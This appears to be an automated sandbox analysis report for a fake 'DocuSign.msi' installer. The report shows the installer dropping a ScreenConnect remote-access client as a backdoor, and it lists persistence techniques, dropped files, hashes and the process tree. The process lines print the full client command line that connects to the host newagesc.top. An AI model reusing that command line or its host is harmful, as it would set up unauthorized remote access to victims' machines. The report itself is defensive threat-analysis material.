Analysis

  • max time kernel
    36s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 12:14

General

  • Target
    DocuSign.msi
  • Size 11.2MB
  • Sample260709-pegbqaaz31
  • SHA256 99be7e21da9cdb8266871137cd0236765e480bd6d056d00c1d6a9d1bef54f52b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 51 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 56 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 18 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\DocuSign.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2376
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5940
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ADFD47961B923C26C5A8F966B4FA4C0F C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:900
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240723046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5332
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2868
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9B81F616B887D70735B45D1EA85E4A5E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5928
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 79F048501E0580E860EA113C686AC32D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5236
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3032
    • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newagesc.top&p=8041&s=ccf58c86-05ef-4e5a-b46d-f621327773f5&k=BgIAAACkAABSU0ExAAgAAAEAAQDJhQchr6n1hscudB2bYkbur37n6TT2tBbKF3W6vBuxo78EQWuBCSfEAectwvCrNUkTMuD7uDhqU4lA5lZReZj9Nb3zEWfFYbUflN335k3hUaYc29Wcug5TYn6MpEZeSee4Xxnj5q8yjqcWhfuvY7RPeERvYXfzDVoP85ifoRjlffVhQjHRDfc46hH5Ou6l005ZMsru4kjXdb0OQOZxcFsaXchoVVfsfx7rlxzdb2psPqIFQfQRlEDdFwiTfIpuLGXBYtkLfRuGS9t1GxSJdPcmoHCrksJP94ILa90h9Qbj7DEpEf87AB93J3L6blm4w8QoVBIcbHfwJ6g9b0mlAtLr"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1280
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1280 -s 1364
        2⤵
        • Program crash
        PID:5888
    • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newagesc.top&p=8041&s=ccf58c86-05ef-4e5a-b46d-f621327773f5&k=BgIAAACkAABSU0ExAAgAAAEAAQDJhQchr6n1hscudB2bYkbur37n6TT2tB%2bKF3W6vBuxo78EQWuBCSfEAectwvCrNUkTMuD7uDhqU4lA5lZReZj9Nb3zEWfFY%2bUflN335k3hUaYc29Wcug5TYn6MpEZeSee4Xxnj5q8yjqcWhfuvY7RPeERvYXfzDVoP85i%2foRjlf%2fVhQjHRD%2fc46hH5Ou6l005ZMsru4kjXd%2b0OQOZxcFsaXchoVVfsfx7rlxzd%2b2psPqIFQfQRlEDdFwiT%2fIpuLGXBYtkLfRuGS9t1GxSJdPcmoHCrksJP94ILa90h9Q%2bj7DEpEf87AB93J3L6blm4w8QoVBIc%2bH%2fwJ6g9%2b0mlAtLr"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe" "RunRole" "83483e13-d679-4ab7-b8b1-7d8373c8d76f" "User"
        2⤵
        • Executes dropped EXE
        PID:912
      • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe" "RunRole" "121496d9-2715-46e9-bade-fc030d2aee7f" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3532
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1280 -ip 1280
      1⤵
        PID:5668
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:5020
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2164
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:3964
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1132
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:3208

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              e596f1c.rbs

              • Path C:\Config.Msi\e596f1c.rbs
              • Size 214KB
              • SHA256 d94835fcd6aeadf95fc1d8ad6c08dac4e189bd07dee3addfe7d50c206940307b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.Override.resources
              • Size 15KB
              • SHA256 5c62dbe7af829bb414f78c2137c12c2f2af663b80522f3f23b1366bd01ad9ff5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.en-US.resources
              • Size 48KB
              • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.resources
              • Size 28KB
              • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.dll
              • Size 66KB
              • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
              • Size 593KB
              • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\app.config
              • Size 1KB
              • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\system.config
              • Size 942B
              • SHA256 2909821adbd33516eadfde95c125e47c10c98954efdbbd34ab6501d087e17928
              • MD5 SHA1 SHA512 TLSH

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 607B
              • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
              • MD5 SHA1 SHA512 TLSH

              MSI22A1.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp
              • Size 1.0MB
              • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp-\ScreenConnect.Core.dll
              • Size 538KB
              • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI22A1.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI7585.tmp

              • Path C:\Windows\Installer\MSI7585.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              e596f1b.msi

              • Path C:\Windows\Installer\e596f1b.msi
              • Size 11.2MB
              • SHA256 99be7e21da9cdb8266871137cd0236765e480bd6d056d00c1d6a9d1bef54f52b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              metadata-2

              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              • Size 26.1MB
              • SHA256 4f619b451c895541bfd5bf71028030b8d8314802c3aac23fd70f37685c2b5154
              • MD5 SHA1 SHA512 SSDEEP TLSH

              {60764e62-6cbe-4aec-bc1e-9ad14e43dac4}_OnDiskSnapshotProp

              • Path \??\Volume{847325d4-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{60764e62-6cbe-4aec-bc1e-9ad14e43dac4}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 44885d100dd587922246be9700b7d474fed274e9a6e128dc8b6adb4b17e79908
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/912-129-0x0000000002450000-0x0000000002468000-memory.dmp

              memory/912-124-0x0000000002480000-0x00000000024B6000-memory.dmp

              memory/912-128-0x0000000002410000-0x0000000002428000-memory.dmp

              memory/912-127-0x000000001B950000-0x000000001BAD8000-memory.dmp

              memory/912-126-0x000000001B610000-0x000000001B7BC000-memory.dmp

              memory/912-125-0x000000001B3D0000-0x000000001B45C000-memory.dmp

              memory/912-123-0x0000000000340000-0x00000000003D8000-memory.dmp

              memory/1132-155-0x0000015F801E0000-0x0000015F802E0000-memory.dmp

              memory/1132-166-0x0000015F81E50000-0x0000015F81F50000-memory.dmp

              memory/1132-200-0x0000015F946F0000-0x0000015F94710000-memory.dmp

              memory/1132-154-0x0000015F801E0000-0x0000015F802E0000-memory.dmp

              memory/1132-176-0x0000015F81C70000-0x0000015F81C90000-memory.dmp

              memory/1132-165-0x0000015F81A10000-0x0000015F81A30000-memory.dmp

              memory/1132-156-0x0000015F801E0000-0x0000015F802E0000-memory.dmp

              memory/1280-74-0x0000000002780000-0x0000000002798000-memory.dmp

              memory/2588-110-0x0000000004510000-0x00000000045A2000-memory.dmp

              memory/2588-112-0x00000000040C0000-0x0000000004101000-memory.dmp

              memory/2588-109-0x0000000004430000-0x0000000004466000-memory.dmp

              memory/2588-114-0x0000000004700000-0x00000000047D5000-memory.dmp

              memory/2588-105-0x00000000043E0000-0x0000000004430000-memory.dmp

              memory/3208-321-0x0000022E94460000-0x0000022E94AF1000-memory.dmp

              memory/3208-339-0x0000022E94460000-0x0000022E94AF1000-memory.dmp

              memory/5332-31-0x0000000006A30000-0x0000000006FEA000-memory.dmp

              memory/5332-18-0x0000000005FA0000-0x0000000005FCE000-memory.dmp

              memory/5332-22-0x0000000005FE0000-0x0000000005FEA000-memory.dmp

              memory/5332-26-0x0000000006080000-0x000000000610C000-memory.dmp

              memory/5332-30-0x00000000062C0000-0x000000000646C000-memory.dmp

              memory/5940-131-0x000001EDB2750000-0x000001EDB30F4000-memory.dmp